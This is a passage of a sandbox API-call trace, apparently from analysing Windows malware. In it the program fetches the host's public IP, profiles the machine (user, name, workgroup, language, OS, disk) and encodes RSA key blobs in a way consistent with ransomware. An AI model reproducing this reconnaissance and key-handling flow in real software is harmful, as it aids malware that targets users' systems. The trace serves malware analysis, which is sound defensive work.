hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0042.867] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a0000, dwNumberOfBytesToRead=0x27fe, lpdwNumberOfBytesRead=0x19fc0c | out: lpBuffer=0x9a0000*, lpdwNumberOfBytesRead=0x19fc0c*=0xe) returned 1 [0042.868] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a0000, dwNumberOfBytesToRead=0x27fe, lpdwNumberOfBytesRead=0x19fc0c | out: lpBuffer=0x9a0000*, lpdwNumberOfBytesRead=0x19fc0c*=0x0) returned 1 [0042.868] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0042.869] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0042.869] VirtualFree (lpAddress=0x1ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0042.870] lstrlenA (lpString="87.142.158.201") returned 14 [0042.870] wsprintfW (in: param_1=0x566240, param_2="%S" | out: param_1="87.142.158.201") returned 14 [0042.870] VirtualFree (lpAddress=0x9a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0042.870] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0042.870] lstrlenW (lpString="CIiHmnxMn6Ps") returned 12 [0042.870] lstrlenW (lpString="pc_user") returned 7 [0042.870] lstrlenW (lpString="LHNIWSJ") returned 7 [0042.870] lstrlenW (lpString="pc_name") returned 7 [0042.870] lstrlenW (lpString="WORKGROUP") returned 9 [0042.870] lstrlenW (lpString="pc_group") returned 8 [0042.870] lstrlenW (lpString="en-US") returned 5 [0042.870] lstrlenW (lpString="pc_lang") returned 7 [0042.870] lstrlenW (lpString="0") returned 1 [0042.870] lstrlenW (lpString="pc_keyb") returned 7 [0042.870] lstrlenW (lpString="Windows 10 Pro") returned 14 [0042.870] lstrlenW (lpString="os_major") returned 8 [0042.870] lstrlenW (lpString="x64") returned 3 [0042.870] lstrlenW (lpString="os_bit") returned 6 [0042.870] lstrlenW (lpString="C:FIXED_549227327488/18561421312") returned 32 [0042.870] lstrlenW (lpString="hdd") returned 3 [0042.870] lstrlenW (lpString="ip") returned 2 [0042.870] lstrlenW (lpString="87.142.158.201") returned 14 [0042.871] VirtualAlloc (lpAddress=0x0, dwSize=0x17280, flAllocationType=0x3000, flProtect=0x40) returned 0x26d0000 [0042.871] CryptBinaryToStringA (in: pbBinary=0x430000, cbBinary=0x114, dwFlags=0x40000001, pszString=0x26dbbb0, pcchString=0x19fd18 | out: pszString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI", pcchString=0x19fd18) returned 1 [0042.871] CryptBinaryToStringA (in: pbBinary=0x450000, cbBinary=0x494, dwFlags=0x40000001, pszString=0x26dc452, pcchString=0x19fd18 | out: pszString="BwIAAACkAABSU0EyAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiIR6fAfl+7BkZzOkyfZZMI60hx9dRPdWdlHz4e7qS5dn7RVkQPbtVBrph0ImjDK35G0DNavQr9Kc7O4ap+kdF4q6iWiWDMMiGQHLVDbi2n+d4uMOdjyEmwPnTSDviobTeYXMD9oHbGGW6k5SgOzOhc1gve9CMjraCmC6p8wuuVvLlJVrl6Ri6//pYJfBYIKjjuRRiP605TNEyBJKL9pWxercjNIhFytu7qHxlReH2JLEkmiMmNimsFen46Y9dIBBI7hBn+lZesEirSR6G3AUq8jvtr9GrD5zuW9EWx4yRH2Cqlsw19axlWy+iAbFfMe8QRk/q9gcyw+UKQ4mQbZn9bvBFWfgy2r+YKkE5Z5SOyM+/QIJ4LnxNm4kuJKkXIpihqNOPDCI8U6j+WvaRrsrTy2IdNiZilb3+IuUgR8lBNrnAL0vbMt56nKj3huKKpRHvCZ2HFid5k714lU4Bkzs307rw7RuM56wNyQo05T02kXh6iXTnoXQrG7YCp9F0UMWMS+T3D8+2oXDQTirJNczLnnT2z+u+46ROekvY6YvkaaSwyc82J2yl96vRFXpu6ovVQYudfReZDaXuQNIVqZ2EZVlc6GrSrdC/H5AYWmvKGSkGoIRh2tIRjNUMuf0rIaDaCqGFMHnq4VvG1prO9tG5PkrmgDiVGySGSbPs0Fb4lbEKFUC5ORgEaNl3eEAZSJBmWqZzNxp+12Gj17zSKNbDK2NGMBVLPL8USQXhpnhd2WMBJ760EA9jGNC2sKkCWBVUFStJ0msp01xyV5LWhgR8GLr1hKXma+0wS9XY74qj4d6VLKYvfJPD+/g0XiLZnqIKUHXZwp1iSi9MeGStuDZBndIEFBjXIZ04dc1jkKPrtS6C3ePbc9tzugxmL3Qe16eHVrspOoaH4CUTj10m9H9KQo1WBdQK3clfjQ1Ync9ULHBZhDYJpYAU0F9Lg8DZCuk8nV4BaCD1LveWhGeCzm5w7JwQpNP3mcMzli/xyYKHBKmuyZ0toaxXinjqh6HIPluAu+G49xSYZwqzWCjXLztxXLqScNApQc9AxDpDekxDjgYEdv/4xL0gWAWNZ3eugEx2mYKa2bZj+gE4i2Jk9xygoUFhqLNBIR7UYYtC9h03Ft/C1vtGZTLbQ8MAUWhgXzQnLCp2wll2Iu02n9nJ4Fih5FT4PS/B5JXum1z/tJ0XHWwk=", pcchString=0x19fd18) returned 1 [0042.871] lstrlenA (lpString="BwIAAACkAABSU0EyAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiIR6fAfl+7BkZzOkyfZZMI60hx9dRPdWdlHz4e7qS5dn7RVkQPbtVBrph0ImjDK35G0DNavQr9Kc7O4ap+kdF4q6iWiWDMMiGQHLVDbi2n+d4uMOdjyEmwPnTSDviobTeYXMD9oHbGGW6k5SgOzOhc1gve9CMjraCmC6p8wuuVvLlJVrl6Ri6//pYJfBYIKjjuRRiP605TNEyBJKL9pWxercjNIhFytu7qHxlReH2JLEkmiMmNimsFen46Y9dIBBI7hBn+lZesEirSR6G3AUq8jvtr9GrD5zuW9EWx4yRH2Cqlsw19axlWy+iAbFfMe8QRk/q9gcyw+UKQ4mQbZn9bvBFWfgy2r+YKkE5Z5SOyM+/QIJ4LnxNm4kuJKkXIpihqNOPDCI8U6j+WvaRrsrTy2IdNiZilb3+IuUgR8lBNrnAL0vbMt56nKj3huKKpRHvCZ2HFid5k714lU4Bkzs307rw7RuM56wNyQo05T02kXh6iXTnoXQrG7YCp9F0UMWMS+T3D8+2oXDQTirJNczLnnT2z+u+46ROekvY6YvkaaSwyc82J2yl96vRFXpu6ovVQYudfReZDaXuQNIVqZ2EZVlc6GrSrdC/H5AYWmvKGSkGoIRh2tIRjNUMuf0rIaDaCqGFMHnq4VvG1prO9tG5PkrmgDiVGySGSbPs0Fb4lbEKFUC5ORgEaNl3eEAZSJBmWqZzNxp+12Gj17zSKNbDK2NGMBVLPL8USQXhpnhd2WMBJ760EA9jGNC2sKkCWBVUFStJ0msp01xyV5LWhgR8GLr1hKXma+0wS9XY74qj4d6VLKYvfJPD+/g0XiLZnqIKUHXZwp1iSi9MeGStuDZBndIEFBjXIZ04dc1jkKPrtS6C3ePbc9tzugxmL3Qe16eHVrspOoaH4CUTj10m9H9KQo1WBdQK3clfjQ1Ync9ULHBZhDYJpYAU0F9Lg8DZCuk8nV4BaCD1LveWhGeCzm5w7JwQpNP3mcMzli/xyYKHBKmuyZ0toaxXinjqh6HIPluAu+G49xSYZwqzWCjXLztxXLqScNApQc9AxDpDekxDjgYEdv/4xL0gWAWNZ3eugEx2mYKa2bZj+gE4i2Jk9xygoUFhqLNBIR7UYYtC9h03Ft/C1vtGZTLbQ8MAUWhgXzQnLCp2wll2Iu02n9nJ4Fih5FT4PS/B5JXum1z/tJ0XHWwk=") returned 1564 [0042.871] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.871] VirtualAlloc (lpAddress=0x0, dwSize=0x7ce, flAllocationType=0x3000, flProtect=0x40) returned 0x9a0000 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BwIAAACkAABSU0EyAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiIR6fAfl+7BkZzOkyfZZMI60hx9dRPdWdlHz4e7qS5dn7RVkQPbtVBrph0ImjDK35G0DNavQr9Kc7O4ap+kdF4q6iWiWDMMiGQHLVDbi2n+d4uMOdjyEmwPnTSDviobTeYXMD9oHbGGW6k5SgOzOhc1gve9CMjraCmC6p8wuuVvLlJVrl6Ri6//pYJfBYIKjjuRRiP605TNEyBJKL9pWxercjNIhFytu7qHxlReH2JLEkmiMmNimsFen46Y9dIBBI7hBn+lZesEirSR6G3AUq8jvtr9GrD5zuW9EWx4yRH2Cqlsw19axlWy+iAbFfMe8QRk/q9gcyw+UKQ4mQbZn9bvBFWfgy2r+YKkE5Z5SOyM+/QIJ4LnxNm4kuJKkXIpihqNOPDCI8U6j+WvaRrsrTy2IdNiZilb3+IuUgR8lBNrnAL0vbMt56nKj3huKKpRHvCZ2HFid5k714lU4Bkzs307rw7RuM56wNyQo05T02kXh6iXTnoXQrG7YCp9F0UMWMS+T3D8+2oXDQTirJNczLnnT2z+u+46ROekvY6YvkaaSwyc82J2yl96vRFXpu6ovVQYudfReZDaXuQNIVqZ2EZVlc6GrSrdC/H5AYWmvKGSkGoIRh2tIRjNUMuf0rIaDaCqGFMHnq4VvG1prO9tG5PkrmgDiVGySGSbPs0Fb4lbEKFUC5ORgEaNl3eEAZSJBmWqZzNxp+12Gj17zSKNbDK2NGMBVLPL8USQXhpnhd2WMBJ760EA9jGNC2sKkCWBVUFStJ0msp01xyV5LWhgR8GLr1hKXma+0wS9XY74qj4d6VLKYvfJPD+/g0XiLZnqIKUHXZwp1iSi9MeGStuDZBndIEFBjXIZ04dc1jkKPrtS6C3ePbc9tzugxmL3Qe16eHVrspOoaH4CUTj10m9H9KQo1WBdQK3clfjQ1Ync9ULHBZhDYJpYAU0F9Lg8DZCuk8nV4BaCD1LveWhGeCzm5w7JwQpNP3mcMzli/xyYKHBKmuyZ0toaxXinjqh6HIPluAu+G49xSYZwqzWCjXLztxXLqScNApQc9AxDpDekxDjgYEdv/4xL0gWAWNZ3eugEx2mYKa2bZj+gE4i2Jk9xygoUFhqLNBIR7UYYtC9h03Ft/C1vtGZTLbQ8MAUWhgXzQnLCp2wll2Iu02n9nJ4Fih5FT4PS/B5JXum1z/tJ0XHWwk=") returned 1564 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI") returned 368 [0042.872] lstrlenA 